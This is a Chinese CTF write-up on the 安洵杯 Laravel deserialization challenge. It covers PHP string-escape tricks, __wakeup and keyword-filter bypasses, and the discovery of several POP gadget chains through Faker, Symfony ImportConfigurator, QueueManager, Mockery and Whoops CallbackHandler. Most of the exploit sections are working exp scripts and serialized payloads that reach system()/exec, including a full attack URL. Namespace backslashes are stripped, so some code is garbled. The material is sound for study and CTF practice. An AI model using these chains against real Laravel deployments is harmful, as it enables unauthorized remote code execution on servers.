安洵杯Laravel反序列化非预期+POP链挖掘


先知社区:https://xz.aliyun.com/t/8296

最近的安洵杯又看到laravel反序列化+字符逃逸,找人要了题拿出来舔一下,看题发现出题大哥一些链没完全堵死,总结下这类题和laravelPOP链接的挖掘过程

个人水平较差、文中错误内容还请师傅们指教纠正。

这类题的一些Tips:

pravite 、Protected 属性序列化差别

Private、Protected属性序列化和public序列化稍有差异

example:

O:4:"test":3:{s:5:"test1";s:3:"aaa";s:8:"*test2";s:3:"aaa";s:11:"testtest3";s:3:"aaa";}

可以看到其中Private的属性序列化出来为%00类名%00成员名,而protected的属性为%00*%00成员名,所以这里``Private、protected`的长度都分别加了3和6。

这里输出中不会输出空字接,所以传递payload的时候需要将这里出现的空字节替换成%00

PHP 反序列化字符逃逸

出的也很多了不新奇了

题型参考安恒月赛Ezunserialize、强网2020web辅助、Joomla 的逃逸

拿安洵杯中的代码:

<?php
error_reporting(E_ALL);
function read($data){
	$data = str_replace('?', chr(0)."*".chr(0), $data);
	return $data;
	}
function write($data){
	$data = str_replace(chr(0)."*".chr(0), '?', $data);
	return $data;
	}
class player{
   protected $user;

   public function __construct($user, $admin = 0){
       $this->user = $user;
       $this->admin = $admin;
   }

   public function get_admin(){
       return $this->admin;
   }
}

这些题都会给一个"读方法"和”写方法“来对%00*%00*之间进行替换。这里给的是*?的替换,之间还是,一样会吞并两个位置留给我们字符逃逸

read函数: 将?替换为%00*%00,将1个字符变成3个字符,write则替换回来,多两个字符空间

正常属性:

加入????:

这里可以看到第三行user属性的值变得非正常化了,s:8代表user属性长度是8,所以它会向后取8个字符的位置,但是现在"qing****"它如果在这里里面取8个字符会取到qing*,后面的就逃逸出来了,所以要想把pop链接的payload作为反序列化的一部分而非user字符串值的一部分就需要构造合适数量的?来进行逃逸。

简单demo可以去看这个师傅的,这里不再叙述

反序列化字符逃逸

关键字检测、__wakup绕过、魔术方法调用

这些网上很多了 简单贴一下

关键字检测:

if(stristr($data, 'name')!==False){

die("Name Pass
");

绕过:十六进制即可,6e616d65

__wakeup()绕过

序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行

一些魔术方法调用:

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发 把对象当作执行的时候会自动调用__invoke()

安洵杯laravel反序列化字符逃逸

拿到源码重新配置下env和key等配置

入口:

app/Http/Controllers/DController.php:

Controller类:

app/Http/Controllers/Controller.php:

<?php

namespace AppHttpControllers;

use IlluminateFoundationBusDispatchesJobs;
use IlluminateRoutingController as BaseController;
use IlluminateFoundationValidationValidatesRequests;
use IlluminateFoundationAuthAccessAuthorizesRequests;

class Controller extends BaseController
{
    use AuthorizesRequests, DispatchesJobs, ValidatesRequests;
}
function filter($string){
    if(stristr($string, 'admin')!==False){
        die("Name Pass
");
	}
	return $string;
	}
	function read($data){
   $data = str_replace('?', chr(0)."*".chr(0), $data);
   return $data;
	}
	function write($data){
   $data = str_replace(chr(0)."*".chr(0), '?', $data);
   return $data;
	}
class player{
   protected $user;

   public function __construct($user, $admin = 0){
       $this->user = $user;
       $this->admin = $admin;
   }

   public function get_admin(){
       return $this->admin;
   }
}

都老套路就直接搜索哪里检测了'admin'字符串吧:

搜了以下edit没有存在函数,那可能就是调用不存在的方法来调用__call()

laravel57vendorfzaninottofakersrcFakerGenerator.php

最重执行到getFormatter函数:

 public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
   ...
    public function format($formatter, $arguments = array())
    {
        $args = $this->getFormatter($formatter);
        return $this->validG->format($args, $arguments);
    }
   ...
   public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }



getFormatter函数发现没啥戏,而format函数中的 return $this->validG->format($args, $arguments);,并且$this->validG可控,继续寻找下一位幸运儿

vendor/fzaninotto/faker/src/Faker/ValidGenerator.php #format看到了call_user_func_array了:

  public function format($formatter, $arguments = array())
    {
        return call_user_func_array($formatter, $arguments);
    }

编写POP反序列exp:

以最后反序列化执行system()为例:

如果要反序列执行危险函数比如system函数就要控制最后代码执行函数call_user_func_array的第一个参数$formatter,而这个是$formatter通过laravel57vendorfzaninottofakersrcFakerGenerator.php return $this->validG->format($args, $arguments);format函数的args参数,此参数来自于getFormatter函数的返回值,控制return $this->formatters[$formatter];返回类似`system、shell_exec'之类即可。

getFormatter$this->providers进行foreach取值,这个可控,传入给getFormatter函数的唯一参数$formatter的值是为edit这个字符串(最先调用Generator类的edit这个不存在的方法,固会调用Generator这个类的__call并传入edit参数),所以需要做的就是将$this->formatters建立一个含有'edit'的键并键名为'system'数组:

class Generator
{
    protected $providers = array();
    protected $formatters = array('edit'=>'system');
    public function __construct($vaildG)
    {
        $this->validG = new $vaildG();
    }
     public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
    }
    public function format($formatter, $arguments = array())
    {
        $args = $this->getFormatter($formatter);
        return $this->validG->format($args, $arguments);
    }

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

}

最后在``vendor/fzaninotto/faker/src/Faker/ValidGenerator.php #formatcall_user_func_array中第二个参数$arguments为执行system函数的参数,由laravel57vendorfzaninottofakersrcFakerGenerator.phpformat函数第二个参数控制,而format函数由此类的__call调用,而GeneratorxCall由最开始的PendingResourceRegistration`类的析构调用:

public function __destruct()
    {
        if($this->name='admin'){
            $this->registrar->edit($this->controller);
        }
    }

所以这里的$this->controller即为最后system函数传入的参数,编写:

namespace IlluminateRoutingPendingResourceRegistration{
class PendingResourceRegistration
{
    protected $registrar;
    protected $name = "admi6e";
    protected $controller = 'curl http://127.0.0.1:8833/qing';
    protected $options = array('test');
    public function __construct($registrar)
    {
      $this->registrar = $registrar;
    }
    public function __destruct()
    {
        if($this->name='admin'){
            $this->registrar->edit($this->controller);
        }
    }
}
}

至于这里对于name属性的判断,十六进制改一下字符就行,老套路了。

最终exp:

写链接的时候私有属性赋值别漏写了,上面说的pravite 、Protected记得替换00

<?php

namespace IlluminateRouting{
class PendingResourceRegistration
{
    protected $registrar;
    protected $name = "admi\6e";
    protected $controller = 'curl http://127.0.0.1:8833/qing';
    protected $options = array('test');
    public function __construct($registrar)
    {
      $this->registrar = $registrar;
    }
}
}
namespace Faker{
class Generator
{
    protected $providers = array();
    protected $formatters = array('edit'=>'system');
    public function __construct($vaildG)
    {
        $this->validG = new $vaildG();
    }
   
}

class ValidGenerator
{
    protected $validator;
    protected $maxRetries;
    protected $generator = null;
    public function __construct( $validator = null, $maxRetries = 10000)
    {
        $this->validator = $validator;
        $this->maxRetries = $maxRetries;
    }

}


}

namespace {
error_reporting(E_ALL);
$test = new IlluminateRoutingPendingResourceRegistration(new FakerGenerator("FakerValidGenerator"));
echo serialize($test);}

再加上前面说的字符串逃逸的套路填充下逃逸字符即可。

最后字符串逃逸处理:

加上新增反序列属性部分和结尾的}来完成闭合,然后现在文本中的%00实际只能占一个字符但是文本中显示3个字符,替换成空格计算一下长度,最后再替换回去:

如果发现是单数可以把属性名加一位凑成442 ,这里我把属性名设置为qingx正好是偶数,?和*之间会吞两个字符,所以前面?的数量为221

payload:

http://www.laravel57.com/task?task=?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????";s:5:"qingx";O:46:"IlluminateRoutingPendingResourceRegistration":4:{s:12:"%00*%00registrar";O:15:"FakerGenerator":3:{s:12:"%00*%00providers";a:0:{}s:13:"%00*%00formatters";a:1:{s:4:"edit";s:6:"system";}s:6:"validG";O:20:"FakerValidGenerator":3:{s:12:"%00*%00validator";N;s:13:"%00*%00maxRetries";i:10000;s:12:"%00*%00generator";N;}}s:7:"%00*%00name";s:7:"admi6e";s:13:"%00*%00controller";s:31:"curl http://127.0.0.1:8833/qing";s:10:"%00*%00options";a:1:{i:0;s:4:"test";}}}

非预期解 +laravel反序列化POP链接挖掘

找链还是从起点开始 比如常见的析构和__wakeup

看题大哥还是封了一些的 不过有的还是可以做

laravel57vendorsymfony outingLoaderConfiguratorImportConfigurator.php

__destruct:

class ImportConfigurator
{
    use TraitsRouteTrait;

    private $parent;

    public function __construct(RouteCollection $parent, RouteCollection $route)
    {
        $this->parent = $parent;
        $this->route = $route;
    } 
public function __destruct()
    {
        $this->parent->addCollection($this->route);
    }
...
    
    

发现laravel57vendorsymfony outingRouteCollection.phpaddCollection

然而这条路我找了并没有走通,有师傅这条走通的麻烦指点一下

 public function addCollection(self $collection)
    {
        // we need to remove all routes with the same names first because just replacing them
        // would not place the new route at the end of the merged array
        foreach ($collection->all() as $name => $route) {
            unset($this->routes[$name]);
            $this->routes[$name] = $route;
        }

        foreach ($collection->getResources() as $resource) {
            $this->addResource($resource);
        }
    }

回到搜索addCollection,走不动就调__call函数,其实这里就可以结合上面链的

结合原题中的__call方法POP链

laravel57vendorfzaninottofakersrcFakerGenerator.php__call`函数:

 public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
   ...
    public function format($formatter, $arguments = array())
    {
        $args = $this->getFormatter($formatter);
        return $this->validG->format($args, $arguments);
    }
   ...
   public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

区别就是这里是调用 addCollection函数,所以传递给__call函数的第一个参数就是 addCollection,而$this->route = $route为传入__call函数的第二个参数,最后构造laravel57vendorfzaninottofakersrcFakerGenerator.php中的$this->formatters数组中含有addCollection键值指向调用的危险函数名即可,做法参照上面的exp,不再叙述。

注意SymfonyComponentRoutingLoaderConfiguratorImportConfigurator中的$parent替换成%00+SymfonyComponentRoutingLoaderConfiguratorImportConfigurator+%00

exp中删除方法和进行字符串逃逸部分不再叙述

exp2:

<?php
namespace SymfonyComponentRoutingLoaderConfigurator{
class ImportConfigurator
{
	private $parent;
    public function __construct($parent)
    {
    	$this->parent = $parent;
    	$this->route = 'curl http://127.0.0.1:8833/qing';
        
    }

}
}

namespace Faker{
class Generator
{
    protected $providers = array();
    protected $formatters = array('addCollection'=>'system');
    public function __construct($vaildG)
    {
        $this->validG = new $vaildG();
    }

}

class ValidGenerator
{
    protected $validator;
    protected $maxRetries;
    protected $generator = null;
    public function __construct( $validator = null, $maxRetries = 10000)
    {
        $this->validator = $validator;
        $this->maxRetries = $maxRetries;
    }
}


}


namespace {
error_reporting(E_ALL);
$test = new SymfonyComponentRoutingLoaderConfiguratorImportConfigurator(new FakerGenerator("FakerValidGenerator"));
echo serialize($test);}

O:64:"SymfonyComponentRoutingLoaderConfiguratorImportConfigurator":2:{s:72:"%00SymfonyComponentRoutingLoaderConfiguratorImportConfigurator%00parent";O:15:"FakerGenerator":3:{s:12:"%00*%00providers";a:0:{}s:13:"%00*%00formatters";a:1:{s:13:"addCollection";s:6:"system";}s:6:"validG";O:20:"FakerValidGenerator":3:{s:12:"%00*%00validator";N;s:13:"%00*%00maxRetries";i:10000;s:12:"%00*%00generator";N;}}s:5:"route";s:31:"curl http://127.0.0.1:8833/qing";}

原生POP链挖掘

回到前面传入addCollection参数调用__call这步:

搜索发现laravel57vendorlaravelframeworksrcIlluminateDatabaseDatabaseManager.php的call,没发现什么特别但是调用了自己的connection

 public function connection($name = null)
    {
        $name = $name ?: $this->getDefaultDriver(); 

        // If the connection has not been resolved yet we will resolve it now as all
        // of the connections are resolved when they are actually needed so we do
        // not make any unnecessary connection to the various queue end-points.
        if (! isset($this->connections[$name])) {
            $this->connections[$name] = $this->resolve($name);

            $this->connections[$name]->setContainer($this->app);
        }

        return $this->connections[$name];
    }

继续瞅瞅getDefaultDriverresolvesetContainer这几个方法,发现一处call_user_func:

  protected function resolve($name)
    {
        $config = $this->getConfig($name); 
        return $this->getConnector($config['driver'])  
                        ->connect($config)
                        ->setConnectionName($name);
    }
//跟进getConnector:
    protected function getConnector($driver)
    {
        if (! isset($this->connectors[$driver])) {
            throw new InvalidArgumentException("No connector for [$driver]");
        }

        return call_user_func($this->connectors[$driver]);
    }

在跟到getConnector方法的时候发现其中的call_user_func函数的参数由$this->connectors[$driver]控制,而这个我们是可以构造来控制的,固可以利用这处来RCE.

构造的时候可以把$this->connectors[$driver]分两个部分构造,一个构造$driver部分,一个构造$this->connectors部分

先看$driver:

可以看到$this->connectors[$driver]其中的$driver是在resolve函数中return $this->getConnector($config['driver']) 传递的,所以要去找$config,而$config$config = $this->getConfig($name);得到:

 protected function getConfig($name)
    {
        if (! is_null($name) && $name !== 'null') {
            return $this->app['config']["queue.connections.{$name}"];
        }

        return ['driver' => 'null'];
    }

这里可以看到函数返回值$this->app['config']["queue.connections.{$name}"];赋值给$config,取的是app属性(三维数组)中config对应的数组下键值‘queue.connections.{$name}’对应的数组。app而又在构造函数赋值:

class QueueManager implements FactoryContract, MonitorContract
{
    ...
public function __construct($app)
    {
        $this->app = $app;
    }

所以编写exp中让app三维数组中config指向的数组其中存在‘connections.{$name}’键值指向的数组中含有driver键值即可

class QueueManager
	{
		protected $app;
		protected $connectors;
		
		public function __construct($func, $param) {
			$this->app = [
				'config'=>[
					'queue.connections.qing'=>[
						'driver'=>'qing'
					],
				]
			];
		}
	}

再来看$this->connectors:

因为最后指向call_user_func($this->connectors[$driver]);的地方是在$this->connectors数组中取出来的值来指向,比如上面的$driver变量定义的字符串是qing,那这里定义connectors数组中增加一个这样的键值即可:

class QueueManager
	{		
		public function __construct($func, $param) {
			$this->app = [
				'config'=>[
					'queue.connections.qing'=>[
						'driver'=>'qing'
					],
				]
			];
			$this->connectors = [
				'qing'=>[
					xxx
				]
			];
		}
	}

call_user_func($this->connectors[$driver]);这里都可以控制了,固到这一步现在可以调用任意函数或者任意类的任意函数了,傻瓜式找一个类有危险函数的:

laravel57vendormockerymockerylibraryMockeryClosureWrapper.php

这里传入closure参数为执行的函数,func_get_args()为执行函数传入的参数 ,调用这个类的__invoke即可

编写exp:

<?php

namespace Mockery {
	class ClosureWrapper
{
    private $closure;

    public function __construct($closure)
    {
        $this->closure = $closure;
    }

    public function __invoke()
    {
        return call_user_func_array($this->closure, func_get_args());
    }
}
}

namespace IlluminateQueue {
	class QueueManager
	{
		protected $app;
		protected $connectors;
		
		public function __construct($a, $b) {
			$this->app = [
				'config'=>[
					'queue.default'=>'qing',
					'queue.connections.qing'=>[
						'driver'=>'qing'
					],
				]
			];
			$obj = new MockeryClosureWrapper("phpinfo");
			$this->connectors = [
				'qing'=>[
					$obj, "__invoke"
				]
			];
		}
	}
}

namespace SymfonyComponentRoutingLoaderConfigurator {
	class ImportConfigurator
	{
		private $parent;
		private $route;

		public function __construct($a,$b)
		{
			$this->parent = new IlluminateQueueQueueManager($a);
			$this->route = null;
		}
	}
}



namespace {
error_reporting(E_ALL);
$test = new SymfonyComponentRoutingLoaderConfiguratorImportConfigurator("qing","qing");
echo serialize($test);}
O:64:"SymfonyComponentRoutingLoaderConfiguratorImportConfigurator":2:{s:72:"%00SymfonyComponentRoutingLoaderConfiguratorImportConfigurator%00parent";O:29:"IlluminateQueueQueueManager":2:{s:6:"%00*%00app";a:1:{s:6:"config";a:2:{s:13:"queue.default";s:4:"qing";s:22:"queue.connections.qing";a:1:{s:6:"driver";s:4:"qing";}}}s:13:"%00*%00connectors";a:1:{s:4:"qing";a:2:{i:0;O:22:"MockeryClosureWrapper":1:{s:31:"%00MockeryClosureWrapper%00closure";s:7:"phpinfo";}i:1;s:8:"__invoke";}}}s:71:"%00SymfonyComponentRoutingLoaderConfiguratorImportConfigurator%00route";N;}

发现phpinfo一闪而过,但这里没办法传入执行函数的参数。

如果有师傅这里能执行任意参数的函数麻烦带带

这里因为有__invoke,我本想着把传入类似实例化对象当作函数执行的地址来传入参数发现都是没地址返回,折折腾腾半天这条路子就放弃了,如果要执行有参函数,目前用Mockery类无法完成,只有寻找其他类

laravel57vendorfilpwhoopssrcWhoopsHandlerCallbackHandler.php

 public function __construct($callable)
    {
        if (!is_callable($callable)) {
            throw new InvalidArgumentException(
                'Argument to ' . __METHOD__ . ' must be valid callable'
            );
        }

        $this->callable = $callable;
    }

    /**
     * @return int|null
     */
    public function handle()
    {
        $exception = $this->getException();
        $inspector = $this->getInspector();
        $run       = $this->getRun();
        $callable  = $this->callable;

        // invoke the callable directly, to get simpler stacktraces (in comparison to call_user_func).
        // this assumes that $callable is a properly typed php-callable, which we check in __construct().
        return $callable($exception, $inspector, $run);
    }

翻到CallbackHandler这个类时候发现完全符合条件,并且在包中原本的作用就是拿来回调的,固执行有参数的pop链接最后可以拿这个收尾

这里回调的地方:

public function handle()
    {
        $exception = $this->getException();
        $inspector = $this->getInspector();
        $run       = $this->getRun();
        $callable  = $this->callable;

        // invoke the callable directly, to get simpler stacktraces (in comparison to call_user_func).
        // this assumes that $callable is a properly typed php-callable, which we check in __construct().
        return $callable($exception, $inspector, $run);
    }

发现函数名我们可以通过构造函数传入,函数的第一个参数我们也可控,不过函数的第二个参数和第三个参数默认是给null,找了一下符合要求的执行函数:

综上,exp3:

<?php
namespace WhoopsHandler{
abstract class Handler
	{
		private $run =null;
		private $inspector =null;
		private $exception =null;
		
	}
class CallbackHandler extends Handler
{

    protected $callable;
    public function __construct($callable)
    {
        $this->callable = $callable;
    }
}
}

namespace IlluminateQueue {
	class QueueManager
	{
		protected $app;
		protected $connectors;
		
		public function __construct($a) {
			$this->app = [
				'config'=>[
					'queue.default'=>'qing',
					'queue.connections.qing'=>[
						'driver'=>'qing'
					],
				]
			];
			$obj = new WhoopsHandlerCallbackHandler($a);
		//	$obj2 = $obj("curl http://127.0.0.1:8833/qing");
			$this->connectors = [
				'qing'=>[
					$obj,'handle'
				]
			];
		}
	}
}

namespace SymfonyComponentRoutingLoaderConfigurator {
	class ImportConfigurator
	{
		private $parent;
		private $route;

		public function __construct($a, $b)
		{
			$this->parent = new IlluminateQueueQueueManager($a);
			$this->route = null;
		}
	}
}



namespace {
error_reporting(E_ALL);
$test = new SymfonyComponentRoutingLoaderConfiguratorImportConfigurator("exec","qing");
echo serialize($test);}

END

Links:

https://www.cnblogs.com/Wanghaoran-s1mple/p/13160708.html

https://blog.csdn.net/qq_43531895/article/details/108279135

https://www.cnblogs.com/BOHB-yunying/p/12774297.html

原文地址:https://www.cnblogs.com/-qing-/p/13686706.html